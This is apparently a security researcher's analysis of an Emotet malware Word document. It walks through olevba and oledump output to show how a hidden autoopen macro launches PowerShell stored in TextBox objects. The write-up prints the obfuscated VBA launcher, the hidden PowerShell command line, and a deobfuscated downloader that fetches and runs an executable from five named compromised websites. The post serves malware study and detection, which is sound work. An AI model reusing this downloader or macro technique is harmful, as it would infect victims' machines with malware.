I decided to do some VT roulette and check out some recent phishing docs in VT. I searched for documents with only few (5-12) detections, and the top item was an Emotet word doc. The Emotet group continues to tweak their strategy to avoid AV. In this doc, they use TextBox objects to hold both the base64 encoded PowerShell and the PowerShell command line itself, in a way that actually makes it hard to follow with olevba. I’ll use oledump to show the parts that olevba misses.

Metadata

File Info

Original Filename unknown
File Type MS Word Document, .doc
File Creation 2019-05-20 08:57:00
File Last Saved 2019-05-20 08:57:00
sha256 cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2
VT Link https://www.virustotal.com/gui/file/cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2/

VT Information

Submissions

The document was first uploaded at 9:36:34 on 20 May 2019, just over an hour and a half after it’s creation date. It was submitted four times over eight hours, but three different submitters in three countries.

Detections

On initial submission, only nine of 60 AV’s detected this document as malicious:

1558417919490

Document

olevba

Dump

I’ll start with olevba to dump the VBA macros. I’ll notice that there’s two macros streams that it believes are empty:

$ olevba cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2
olevba 0.54.1 on Python 2.7.15 - http://decalage.info/python/oletools
===============================================================================
FILE: cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO O3_4045.cls
in file: cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2 - OLE stream: u'Macros/VBA/O3_4045'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO H94470.vba
in file: cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2 - OLE stream: u'Macros/VBA/H94470'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub _
autoopen( _
)
   Dim d587624()
      ReDim d587624(5)
      d587624(0) = "206424235" + "276145942"
      d587624(1) = "270724748" + "644364997"
      d587624(2) = "998293622" + "775162821"
      d587624(3) = "419305928" + "165281006"
      d587624(4) = "645391534" + "663351253"
H719_241
   Dim a566_28()
      ReDim a566_28(5)
      a566_28(0) = "892355821" + "126824804"
      a566_28(1) = "12521960" + "228692477"
      a566_28(2) = "455213603" + "397088026"
      a566_28(3) = "94846704" + "5941859"
      a566_28(4) = "245411699" + "225236639"
End Sub
Sub H719_241()
   Dim X690083()
      ReDim X690083(5)
      X690083(0) = "935402011" + "7445275"
      X690083(1) = "1298829" + "594659946"
      X690083(2) = "479032764" + "9024263"
      X690083(3) = "815473014" + "252858305"
      X690083(4) = "180358411" + "452096720"
Set S19851 = GetObject(CStr("Winmgmts:Win32_ProcesSstartup"))
   Dim v47952()
      ReDim v47952(5)
      v47952(0) = "434953678" + "355235224"
      v47952(1) = "433715375" + "302757908"
      v47952(2) = "6807223" + "303678071"
      v47952(3) = "513990890" + "721825129"
      v47952(4) = "408871251" + "540064544"
S19851. _
ShowWindow = vbFalse - vbFalse
   Dim Q5954219()
      ReDim Q5954219(5)
      Q5954219(0) = "273197614" + "108278373"
      Q5954219(1) = "59680272" + "206794860"
      Q5954219(2) = "596328425" + "957730347"
      Q5954219(3) = "75404614" + "406869143"
      Q5954219(4) = "580567595" + "143116109"
Set A165533 = GetObject(CStr("Winmgmts:Win32_ProcesS"))
   Dim A658103()
      ReDim A658103(5)
      A658103(0) = "137479618" + "926490507"
      A658103(1) = "309241433" + "916751420"
      A658103(2) = "272206738" + "422731081"
      A658103(3) = "714085446" + "650175884"
      A658103(4) = "78890792" + "916197776"
A165533.Create J5438330 + "po" + a426725 + O3_4045.R1136_ + O3_4045.s250__65 + r55104, d10_94, S19851, N50607
   Dim r3891144()
      ReDim r3891144(5)
      r3891144(0) = "869990301" + "602729851"
      r3891144(1) = "6485658" + "501545638"
      r3891144(2) = "102647218" + "600955191"
      r3891144(3) = "842200192" + "762280068"
      r3891144(4) = "31891335" + "242008746"
End Sub

-------------------------------------------------------------------------------
VBA MACRO W85356.vba
in file: cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2 - OLE stream: u'Macros/VBA/W85356'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |autoopen            |Runs when the Word document is opened        |
|Suspicious|ShowWindow          |May hide the application                     |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Hex String| d$#                |20642423                                     |
|Hex String|f3Q%                |66335125                                     |
|Hex String|"R6c                |22523663                                     |
|Hex String|%(X0                |25285830                                     |
|Hex String|CISg                |43495367                                     |
|Hex String|5R5"                |35523522                                     |
|Hex String|Yc(B                |59632842                                     |
+----------+--------------------+---------------------------------------------+

Analysis

The output show three files. I’ll start with the obvious one, which shows an autoopen sub. There’s some obfuscation that comes from declaring never used dims and values. I’ll clear that out, leaving:

Sub autoopen()
    H719_241
End Sub

Sub H719_241()
    Set S19851 = GetObject(CStr("Winmgmts:Win32_ProcesSstartup"))
    S19851.ShowWindow = vbFalse - vbFalse
    Set A165533 = GetObject(CStr("Winmgmts:Win32_ProcesS"))
    A165533.Create J5438330 + "po" + a426725 + O3_4045.R1136_ + O3_4045.s250__65 + r55104, d10_94, S19851, N50607
End Sub

This code creates an instance of the WMI class Winmgmts:Win32_ProcessStartUp and sets the ShowWindow value to 0 (false). Then it uses the Create method from the Winmgmts:Win32_Process class to start a process. But what is that process?

The create method takes the following arguments according to Microsoft documentation:

uint32 Create(
  [in]  string               CommandLine,
  [in]  string               CurrentDirectory,
  [in]  Win32_ProcessStartup ProcessStartupInformation,
  [out] uint32               ProcessId
);

The code defines those arguments as:

J5438330 + "po" + a426725 + O3_4045.R1136_ + O3_4045.s250__65 + r55104, d10_94, S19851, N50607

Most of those variables are undefined. Removing those leaves:

"po" + O3_4045.R1136_ + O3_4045.s250__65, 0, S19851, 0

I can now see the current directory and the output PID are null, and the ProcessStartupInformation is the object defined earlier to be hidden. That leaves only the Command Line.

O3_4045 is a visual basic class, one that olevba shows it as empty:

VBA MACRO O3_4045.cls
in file: cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2 - OLE stream: u'Macros/VBA/O3_4045'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)

oledump

Show O3_4045.cls

The class is not actually empty, it just doesn’t run anything, so olevba doesn’t show anything. It does set Attributes. If I use a different tool, oledump from Didier Stevens, I can see the code. I’ll run it first with no additional switches to see all the streams:

$ oledump.py cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2
  1:       114 '\x01CompObj'
  2:       336 '\x05DocumentSummaryInformation'
  3:       472 '\x05SummaryInformation'
  4:      7716 '1Table'
  5:     66441 'Data'
  6:       500 'Macros/PROJECT'
  7:        68 'Macros/PROJECTwm'
  8: M    5164 'Macros/VBA/H94470'
  9: m    1434 'Macros/VBA/O3_4045'
 10: m     674 'Macros/VBA/W85356'
 11:      5126 'Macros/VBA/_VBA_PROJECT'
 12:      8482 'Macros/VBA/__SRP_0'
 13:       228 'Macros/VBA/__SRP_1'
 14:       144 'Macros/VBA/__SRP_4'
 15:       492 'Macros/VBA/__SRP_5'
 16:       807 'Macros/VBA/dir'
 17:       116 'ObjectPool/_1619858587/\x01CompObj'
 18:        20 'ObjectPool/_1619858587/\x03OCXNAME'
 19:         6 'ObjectPool/_1619858587/\x03ObjInfo'
 20:      2116 'ObjectPool/_1619858587/contents'
 21:       116 'ObjectPool/_1619858588/\x01CompObj'
 22:        20 'ObjectPool/_1619858588/\x03OCXNAME'
 23:         6 'ObjectPool/_1619858588/\x03ObjInfo'
 24:       452 'ObjectPool/_1619858588/\x03PRINT'
 25:       124 'ObjectPool/_1619858588/contents'
 26:      4096 'WordDocument'

Now I’ll select stream 9 with -s 9 and give it -v for vba code:

$ oledump.py -s 9 -v cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2
Attribute VB_Name = "O3_4045"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "s250__65, 0, 0, MSForms, TextBox"
Attribute VB_Control = "R1136_, 1, 1, MSForms, TextBox"

In the last two lines, it associates two text boxes with variable names. This GitHub page explains what the five values are:

The Attribute VB_Control attribute has 5 values defined in the string, separated by commas.

  • Value1 = Name of the control
  • Value 2 = Shape.ID - 1024 of the control (stays constant across saves, increments with every new control, seed doesn’t reset on control removal, so not necessarily adjacent values.
  • Value 3 = I think, the most recently selected item is given an index of 0, and all other controls get an incrementing number. This value can and does change across saves. In some instances, the index starts at a higher number than 0, but the index numbers are always adjacent. The attributes are listed in the module, in the order of this index value, but as the index value changes, the order of the control attributes changes.
  • Value 4 - Name of the Contol’s parent Library
  • Value 5 - Name of the Control

Text Box Objects

I’ll also notice streams 17-20 and 21-25:

 17:       116 'ObjectPool/_1619858587/\x01CompObj'
 18:        20 'ObjectPool/_1619858587/\x03OCXNAME'
 19:         6 'ObjectPool/_1619858587/\x03ObjInfo'
 20:      2116 'ObjectPool/_1619858587/contents'
 21:       116 'ObjectPool/_1619858588/\x01CompObj'
 22:        20 'ObjectPool/_1619858588/\x03OCXNAME'
 23:         6 'ObjectPool/_1619858588/\x03ObjInfo'
 24:       452 'ObjectPool/_1619858588/\x03PRINT'
 25:       124 'ObjectPool/_1619858588/contents'

It looks like these two sets of streams represent objects. I can see from 17 that its a Forms.TextBox.1:

$ oledump.py -s 17 cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2
00000000: 01 00 FE FF 03 0A 00 00  FF FF FF FF 10 1D D2 8B  ................
00000010: 42 EC CE 11 9E 0D 00 AA  00 60 02 F3 1C 00 00 00  B........`......
00000020: 4D 69 63 72 6F 73 6F 66  74 20 46 6F 72 6D 73 20  Microsoft Forms 
00000030: 32 2E 30 20 54 65 78 74  42 6F 78 00 10 00 00 00  2.0 TextBox.....
00000040: 45 6D 62 65 64 64 65 64  20 4F 62 6A 65 63 74 00  Embedded Object.
00000050: 10 00 00 00 46 6F 72 6D  73 2E 54 65 78 74 42 6F  ....Forms.TextBo
00000060: 78 2E 31 00 F4 39 B2 71  00 00 00 00 00 00 00 00  x.1..9.q........
00000070: 00 00 00 00                          

Stream 18 is called the name, and it shows me s250__65, which matches one of the Attributes from the VBA code. Stream 19 doesn’t show much. Steam 20 is the contents, which is a big base64 string:

$ oledump.py -s 20 cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2 | head
00000000: 00 02 24 08 01 01 40 80  00 00 00 00 1B 48 80 2C  ..$...@......H.,
00000010: 0C 08 00 80 1A 00 00 00  23 00 00 00 4A 41 42 55  ........#...JABU
00000020: 41 44 63 41 58 77 41 32  41 44 51 41 4E 51 41 7A  ADcAXwA2ADQANQAz
00000030: 41 44 4D 41 50 51 41 6E  41 47 4D 41 58 77 41 33  ADMAPQAnAGMAXwA3
00000040: 41 44 51 41 4E 51 41 33  41 44 63 41 4A 77 41 37  ADQANQA3ADcAJwA7
00000050: 41 43 51 41 54 67 41 7A  41 44 6B 41 4E 51 42 66  ACQATgAzADkANQBf
00000060: 41 46 38 41 4E 67 41 31  41 43 41 41 50 51 41 67  AF8ANgA1ACAAPQAg
00000070: 41 43 63 41 4D 67 41 30  41 43 63 41 4F 77 41 6B  ACcAMgA0ACcAOwAk
00000080: 41 47 34 41 4D 41 41 79  41 44 49 41 58 77 41 30  AG4AMAAyADIAXwA0
00000090: 41 44 45 41 50 51 41 6E  41 47 4D 41 4D 77 41 30  ADEAPQAnAGMAMwA0
...[snip]...

I can see the same in streams 21-25, with a name of R1136_ and contents:

$ oledump.py -s 25 cdc216f48ec57a6c822139b6534330e8feea8b7bc83ad85614fa52ca372413c2 
00000000: 00 02 5C 00 01 01 40 80  00 00 00 00 1B 48 80 2C  ..\...@......H.,
00000010: 43 00 00 80 1A 00 00 00  23 00 00 00 77 65 72 73  C.......#...wers
00000020: 68 65 6C 6C 20 2D 45 78  65 63 75 74 69 6F 6E 50  hell -ExecutionP
00000030: 6F 6C 69 63 79 20 62 79  70 61 73 73 20 2D 57 69  olicy bypass -Wi
00000040: 6E 64 6F 77 53 74 79 6C  65 20 48 69 64 64 65 6E  ndowStyle Hidden
00000050: 20 2D 6E 6F 70 72 6F 66  69 6C 65 20 2D 65 20 54   -noprofile -e T
00000060: 00 02 18 00 35 00 00 00  07 00 00 80 E1 00 00 00  ....5...........
00000070: 00 02 00 00 43 61 6C 69  62 72 69 0A              ....Calibri.

Now it all comes together.

"po" + "wershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e " + "JABUADcAX...[snip]...JwA=", 0, Winmgmts:Win32_ProcesSstartup.ShowWindow = 0, 0

PowerShell Payload

Now that I have a PowerShell Payload, I’ll take that and toss it into CyberChef:

1558418723657

The PowerShell cleans up to (including adding whitespace and removing useless lines):

$N395__65 = '24';
$k837_0 = $env:userprofile + '\'+$N395__65+'.exe';
$M21418=&('new- object') NET.WEBCLIEnT;
$B288603='http://saminprinter.com/wp-includes/yrkvm4vyy_ybidb-43745207/@http://santuarioaparecidamontese.com.br/wp-includes/7jn9p7_qou49bjodx-33953/@http://serwiskonsol.com/wp-content/JEsfYuiPMv/@https://ppdiamonds.co/wp-content/m45zv037uc_nent85daai-282067/@http://aworldtourism.com/wp-includes/1fcjc8_m4lnj7ffng-755100/'.SPlit('@');
foreach($k968826_ in $B288603){
  try{
    $M21418.dOwnloadfILe($k968826_, $k837_0);
    If ((Get-Item $k837_0).LENgtH -ge 21258) {
      Invoke-Item $k837_0;
      break;
    }
  }catch{
  }
}

This is a common Emotet algorithm, to have a list of urls separated by @ and splitting on it, then looping over them, trying to download and run, breaking on success.

Stage Two

I threw the 5 urls into urlscan.io to see what would come back. For example, the first returns this:

1558366210872

It includes a file that was “downloaded by the website” (which I assume means from the website). Pulling that hash up on VT, I see not only that it’s malicious, but also the submitted name is emotet_exe_e2_...:

1558419582629

The 4th and 5th urls also returned exes:

URL Filename MD5
http://saminprinter.com/wp-includes/yrkvm4vyy_ybidb-43745207/ w_97162421.exe b1994f37b1ca47638931dd05d2a92727
http://santuarioaparecidamontese.com.br/wp-includes/7jn9p7_qou49bjodx-33953/ None None
http://serwiskonsol.com/wp-content/JEsfYuiPMv/ None None
https://ppdiamonds.co/wp-content/m45zv037uc_nent85daai-282067/ v_28173.exe b1994f37b1ca47638931dd05d2a92727
http://aworldtourism.com/wp-includes/1fcjc8_m4lnj7ffng-755100/ 82aff7cg1_088.exe 094040f453459afce9093e384a9d2212

The 4th url has the same exe as the 1st. The 5th is different, but also likely malicious on VT. On first submission, only 17 identified it:

1558419669559

24 hours later, it’s up to 48:

1558419782632